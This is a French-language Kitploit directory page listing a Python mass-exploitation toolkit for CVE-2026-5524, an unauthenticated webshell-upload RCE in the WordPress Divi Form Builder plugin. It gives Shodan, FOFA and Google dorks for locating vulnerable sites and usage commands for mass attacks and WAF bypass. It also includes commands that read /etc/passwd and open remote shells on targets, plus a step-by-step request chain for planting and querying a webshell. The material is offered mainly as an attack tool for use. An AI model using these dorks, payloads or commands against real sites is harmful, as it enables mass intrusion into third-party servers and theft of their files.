Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5524-PoC — Boîte à outils d'exploitation massive en Python pour CVE-2026-5524, une RCE par téléversement de fichier non authentifié dans le plugin WordPress Divi Form Builder, avec téléversement de webshell et exécution de commandes. | Kitploit
Outils/GitHubGitHub/iicaicai/cve-2026-5524-poc
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsContournement de WAFSécurité WebTests d'IntrusionRed TeamingDéveloppement de Charges UtilesCheval de Troie d'Accès à Distance
26il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubiicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

Boîte à outils d'exploitation massive en Python pour CVE-2026-5524, une RCE par téléversement de fichier non authentifié dans le plugin WordPress Divi Form Builder, avec téléversement de webshell et exécution de commandes.

Voir le dépôt
Partager

CVE-2026-5524 — RCE non authentifiée dans Divi Form Builder

Boîte à outils d'exploitation massive pour CVE-2026-5524, une vulnérabilité de téléversement de fichier arbitraire non authentifiée dans le plugin WordPress Divi Form Builder <= 5.1.8 menant à l'exécution de code à distance.

version Devon Aji python telegram

ChampValeur
CVE2026-5524
CVSS9.8 (Critique)
VecteurAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AffectéDivi Form Builder <= 5.1.8
Corrigé5.1.9
TypeTéléversement de fichier non authentifié menant à RCE
Chercheur0xd4rk5id3 - EnvoraSec

Sommaire

  • Description
  • Dorks
  • Installation
  • Utilisation
    • Cible unique
    • Exploitation massive
    • Contournement avancé
    • Exécution de commandes
  • Détails de la vulnérabilité
  • Techniques de contournement
  • Stack technique
  • Structure du projet
  • Flux d'attaque
  • Avertissement

Description

Le plugin Divi Form Builder pour WordPress contient une vulnérabilité de téléversement de fichier arbitraire non authentifiée. Le gestionnaire do_image_upload() transmet le paramètre POST acceptFileTypes, contrôlé par l'utilisateur, directement dans une expression régulière utilisée pour valider les extensions de fichier. En fournissant une valeur telle que phtml, un attaquant peut contourner la règle .htaccess du plugin qui ne bloque que l'extension .php et téléverser un webshell avec une extension exécutable par PHP (.phtml, .phar, .php5, .php7, et similaires).

Une fois le fichier déposé dans /wp-content/uploads/de_fb_uploads/, Apache l'exécute en tant que PHP, accordant à l'attaquant l'exécution de code à distance sous l'utilisateur du serveur web.

Le problème est corrigé dans Divi Form Builder 5.1.9.


Dorks

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

Installation

Prérequis : Python 3.8 ou supérieur sous Linux, macOS ou WSL.

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

Utilisation

Cible unique

python3 CVE-2026-5524.py -u https://target.com

Exploitation massive

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Contournement avancé

Pour les cibles derrière un WAF (NinjaFirewall, Wordfence, ModSecurity) ou avec une configuration Apache ou nginx renforcée.

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Exécution de commandes

Après un téléversement réussi, le script peut immédiatement exécuter une commande ou ouvrir un shell interactif.

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Options

OptionDescription
-u URLURL d'une cible unique
-l FILEFichier contenant la liste des cibles, une URL par ligne
-t NNombre de threads concurrents (par défaut 10)
--timeout NDélai d'expiration des requêtes en secondes (par défaut 15)
-o FILEEnregistrer les résultats dans un fichier de sortie JSONL
--proxy URLRouter le trafic via un proxy HTTP
--nonce HASHUtiliser un nonce fourni manuellement, ignorer l'autodétection
--ext EXTForcer une seule extension au lieu de la liste complète de contournement
--shellOuvrir un shell RCE interactif en cas de succès (cible unique uniquement)
--cmd CMDExécuter une commande sur la cible, puis quitter
--shell-file FILETéléverser une charge utile de shell personnalisée au lieu de celle intégrée
--no-verifyIgnorer l'étape de vérification RCE après le téléversement
--strict-verifyConfirmer que l'URL du shell renvoie HTTP 200 pour filtrer les faux positifs
--user-iniTéléverser un dropper .user.ini pour les environnements PHP-FPM
--htaccessTéléverser un réactivateur .htaccess pour les environnements Apache
--aggressiveActiver toutes les techniques de contournement disponibles
--null-byteInclure les tentatives avec octet nul et double extension
--path-traversalTenter de téléverser dans les sous-répertoires /uploads/YYYY/MM/
--debugAfficher les réponses HTTP brutes pour le diagnostic

Détails de la vulnérabilité

Code vulnérable

Le gestionnaire vulnérable construit une expression régulière à partir de l'entrée utilisateur sans assainissement.

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

En envoyant acceptFileTypes=phtml, l'expression régulière résultante /\.(phtml)$/i correspond aux noms de fichiers se terminant par .phtml, même si le fichier .htaccess du plugin ne bloque que l'extension .php. Apache exécute alors le fichier téléversé en tant que PHP, produisant une exécution de code à distance.

Chaîne d'attaque confirmée

  1. Parcourir une page qui intègre un formulaire Divi Form Builder (/, /contact, /quote, etc). Ajouter un paramètre ?nocache=<random> pour déjouer Varnish, WP Rocket et autres caches de page qui serviraient sinon un nonce obsolète.

  2. Extraire la valeur fb_nonce de l'objet JavaScript localisé :

    de_fb_obj = {"fb_nonce":"<10 caractères hexadécimaux>", ...}
    
  3. Envoyer en POST un formulaire multipart vers /wp-admin/admin-ajax.php avec :

    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Lire l'URL du fichier dans la réponse JSON :

    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Requêter le shell avec une commande encodée en base64 :

    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Techniques de contournement

Télécharger l’outil